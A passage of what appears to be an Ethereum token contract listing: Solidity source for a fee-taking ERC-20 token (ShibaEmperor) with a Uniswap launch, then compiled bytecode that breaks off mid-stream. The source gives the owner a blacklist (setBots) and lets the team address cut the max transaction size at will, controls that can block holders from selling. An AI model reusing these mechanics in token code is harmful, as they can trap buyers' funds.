uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function maxtx(uint256 maxTxpc) external { require(_msgSender() == _teamAddress); require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 6; _redisfee = 1; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (5 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b80632634e5e8116100d15780632634e5e8146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612624565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906126ee565b61042a565b60405161016d9190612749565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612773565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061278e565b610458565b6040516101d59190612749565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906127e1565b610531565b005b34801561021357600080fd5b5061021c610610565b604051610229919061282a565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612871565b610619565b005b34801561026757600080fd5b506102706106cb565b005b34801561027e57600080fd5b506102996004803603810190610294919061289e565b61073d565b6040516102a69190612773565b60405180910390f35b3480156102bb57600080fd5b506102c461078e565b005b3480156102d257600080fd5b506102db6108e1565b6040516102e891906128da565b60405180910390f35b3480156102fd57600080fd5b5061030661090a565b6040516103139190612624565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906126ee565b610947565b6040516103509190612749565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612a3d565b610965565b005b34801561038e57600080fd5b50610397610a8f565b005b3480156103a557600080fd5b506103ae610b09565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612a86565b611019565b6040516103e49190612773565b60405180910390f35b60606040518060400160405280600c81526020017f5368696261456d7065726f720000000000000000000000000000000000000000815250905090565b600061043e6104376110a0565b84846110a8565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610465848484611273565b610526846104716110a0565b6105218560405180606001604052806028815260200161355c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d76110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a329092919063ffffffff16565b6110a8565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105726110a0565b73ffffffffffffffffffffffffffffffffffffffff161461059257600080fd5b6000811161059f57600080fd5b6105ce6127106105c083670de0b6b3a7640000611a9690919063ffffffff16565b611b1190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516106059190612773565b60405180910390a150565b60006009905090565b6106216110a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590612b12565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661070c6110a0565b73ffffffffffffffffffffffffffffffffffffffff161461072c57600080fd5b600047905061073a81611b5b565b50565b6000610787600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c56565b9050919050565b6107966110a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612b12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5348494d50000000000000000000000000000000000000000000000000000000815250905090565b600061095b6109546110a0565b8484611273565b6001905092915050565b61096d6110a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190612b12565b60405180910390fd5b60005b8151811015610a8b576001600a6000848481518110610a1f57610a1e612b32565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a8390612b90565b9150506109fd565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ad06110a0565b73ffffffffffffffffffffffffffffffffffffffff1614610af057600080fd5b6000610afb3061073d565b9050610b0681611cc4565b50565b610b116110a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612b12565b60405180910390fd5b600f60149054906101000a900460ff1615610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590612c25565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006110a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cec9190612c5a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d779190612c5a565b6040518363ffffffff1660e01b8152600401610d94929190612c87565b6020604051808303816000875af1158015610db3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd79190612c5a565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e603061073d565b600080610e6b6108e1565b426040518863ffffffff1660e01b8152600401610e8d96959493929190612cf5565b60606040518083038185885af1158015610eab573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ed09190612d6b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550670de0b6b3a76400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fd2929190612dbe565b6020604051808303816000875af1158015610ff1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110159190612dfc565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110f90612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117f90612f2d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112669190612773565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112da90612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134a90613051565b60405180910390fd5b60008111611396576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138d906130e3565b60405180910390fd5b61139e6108e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140c57506113dc6108e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561196f57600f60179054906101000a900460ff161561163f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115886110a0565b73ffffffffffffffffffffffffffffffffffffffff1614806115fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115e66110a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61163d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116349061314f565b60405180910390fd5b5b5b60105481111561164e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118145750600f60179054906101000a900460ff165b156118b55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186457600080fd5b600542611871919061316f565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c03061073d565b9050600f60159054906101000a900460ff1615801561192d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119455750600f60169054906101000a900460ff165b1561196d5761195381611cc4565b6000479050600081111561196b5761196a47611b5b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a2057600090505b611a2c84848484611f3d565b50505050565b6000838311158290611a7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a719190612624565b60405180910390fd5b5060008385611a8991906131c5565b9050809150509392505050565b600080831415611aa95760009050611b0b565b60008284611ab791906131f9565b9050828482611ac69190613282565b14611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90613325565b60405180910390fd5b809150505b92915050565b6000611b5383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f6a565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bab600284611b1190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bd6573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c27600284611b1190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c52573d6000803e3d6000fd5b5050565b6000600654821115611c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c94906133b7565b60405180910390fd5b6000611ca7611fcd565b9050611cbc8184611b1190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cfc57611cfb6128fa565b5b604051908082528060200260200182016040528015611d2a5781602001602082028036833780820191505090505b5090503081600081518110611d4257611d41612b32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611de9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0d9190612c5a565b81600181518110611e2157611e20612b32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e8830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611eec959493929190613495565b600060405180830381600087803b158015611f0657600080fd5b505af1158015611f1a573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b80611f4b57611f4a611ff8565b5b611f56848484612029565b80611f6457611f636121f4565b5b50505050565b60008083118290611fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa89190612624565b60405180910390fd5b5060008385611fc09190613282565b9050809150509392505050565b6000806000611fda612206565b91509150611ff18183611b1190919063ffffffff16565b9250505090565b600060085414801561200c57506000600954145b1561201657612027565b600060088190555060006009819055505b565b60008060008060008061203b87612265565b95509550955095509550955061209986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122cd90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061217a81612375565b6121848483612432565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121e19190612773565b60405180910390a3505050505050505050565b60066008819055506001600981905550565b600080600060065490506000670de0b6b3a7640000905061223a670de0b6b3a7640000600654611b1190919063ffffffff16565b82101561225857600654670de0b6b3a7640000935093505050612261565b81819350935050505b9091565b60008060008060008060008060006122828a60085460095461246c565b9250925092506000612292611fcd565b905060008060006122a58e878787612502565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061230f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a32565b905092915050565b6000808284612326919061316f565b90508381101561236b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123629061353b565b60405180910390fd5b8091505092915050565b600061237f611fcd565b905060006123968284611a9690919063ffffffff16565b90506123ea81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612447826006546122cd90919063ffffffff16565b6006819055506124628160075461231790919063ffffffff16565b6007819055505050565b600080600080612498606461248a888a611a9690919063ffffffff16565b611b1190919063ffffffff16565b905060006124c260646124b4888b611a9690919063ffffffff16565b611b1190919063ffffffff16565b905060006124eb826124dd858c6122cd90919063ffffffff16565b6122cd90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061251b8589611a9690919063ffffffff16565b905060006125328689611a9690919063ffffffff16565b905060006125498789611a9690919063ffffffff16565b905060006125728261256485876122cd90919063ffffffff16565b6122cd90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125c55780820151818401526020810190506125aa565b838111156125d4576000848401525b50505050565b6000601f19601f8301169050919050565b60006125f68261258b565b6126008185612596565b93506126108185602086016125a7565b612619816125da565b840191505092915050565b6000602082019050818103600083015261263e81846125eb565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126858261265a565b9050919050565b6126958161267a565b81146126a057600080fd5b50565b6000813590506126b28161268c565b92915050565b6000819050919050565b6126cb816126b8565b81146126d657600080fd5b50565b6000813590506126e8816126c2565b92915050565b6000806040838503121561270557612704612650565b5b6000612713858286016126a3565b9250506020612724858286016126d9565b9150509250929050565b60008115159050919050565b6127438161272e565b82525050565b600060208201905061275e600083018461273a565b92915050565b61276d816126b8565b82525050565b60006020820190506127886000830184612764565b92915050565b6000806000606084860312156127a7576127a6612650565b5b60006127b5868287016126a3565b93505060206127c6868287016126a3565b92505060406127d7868287016126d9565b9150509250925092565b6000602082840312156127f7576127f6612650565b5b6000612805848285016126d9565b91505092915050565b600060ff82169050919050565b6128248161280e565b82525050565b600060208201905061283f600083018461281b565b92915050565b61284e8161272e565b811461285957600080fd5b50565b60008135905061286b81612845565b92915050565b60006020828403121561288757612886612650565b5b60006128958482850161285c565b91505092915050565b6000602082840312156128b4576128b3612650565b5b60006128c2848285016126a3565b91505092915050565b6128d48161267a565b82525050565b60006020820190506128ef60008301846128cb565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612932826125da565b810181811067ffffffffffffffff82111715612951576129506128fa565b5b80604052505050565b6000612964612646565b90506129708282612929565b919050565b600067ffffffffffffffff8211156129905761298f6128fa565b5b602082029050602081019050919050565b600080fd5b60006129b96129b484612975565b61295a565b905080838252602082019050602084028301858111156129dc576129db6129a1565b5b835b81811015612a0557806129f188826126a3565b8452602084019350506020810190506129de565b5050509392505050565b600082601f830112612a2457612a236128f5565b5b8135612a348482602086016129a6565b91505092915050565b600060208284031215612a5357612a52612650565b5b600082013567ffffffffffffffff811115612a7157612a70612655565b5b612a7d84828501612a0f565b91505092915050565b60008060408385031215612a9d57612a9c612650565b5b6000612aab858286016126a3565b9250506020612abc858286016126a3565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612afc602083612596565b9150612b0782612ac6565b602082019050919050565b60006020820190508181036000830152612b2b81612aef565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b9b826126b8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612bce57612bcd612b61565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612c0f601783612596565b9150612c1a82612bd9565b602082019050919050565b60006020820190508181036000830152612c3e81612c02565b9050919050565b600081519050612c548161268c565b92915050565b600060208284031215612c7057612c6f612650565b5b6000612c7e84828501612c45565b91505092915050565b6000604082019050612c9c60008301856128cb565b612ca960208301846128cb565b9392505050565b6000819050919050565b6000819050919050565b6000612cdf612cda612cd584612cb0565b612cba565b6126b8565b9050919050565b612cef81612cc4565b82525050565b600060c082019050612d0a60008301896128cb565b612d176020830188612764565b612d246040830187612ce6565b612d316060830186612ce6565b612d3e60808301856128cb565b612d4b60a0830184612764565b979650505050505050565b600081519050612d65816126c2565b92915050565b600080600060608486031215612d8457612d83612650565b5b6000612d9286828701612d56565b9350506020612da386828701612d56565b9250506040612db486828701612d56565b9150509250925092565b6000604082019050612dd360008301856128cb565b612de06020830184612764565b9392505050565b600081519050612df681612845565b92915050565b600060208284031215612e1257612e11612650565b5b6000612e2084828501612de7565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e85602483612596565b9150612e9082612e29565b604082019050919050565b60006020820190508181036000830152612eb481612e78565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f17602283612596565b9150612f2282612ebb565b604082019050919050565b60006020820190508181036000830152612f4681612f0a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fa9602583612596565b9150612fb482612f4d565b604082019050919050565b60006020820190508181036000830152612fd881612f9c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061303b602383612596565b915061304682612fdf565b604082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130cd602983612596565b91506130d882613071565b604082019050919050565b600060208201905081810360008301526130fc816130c0565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6000613139601183612596565b915061314482613103565b602082019050919050565b600060208201905081810360008301526131688161312c565b9050919050565b600061317a8261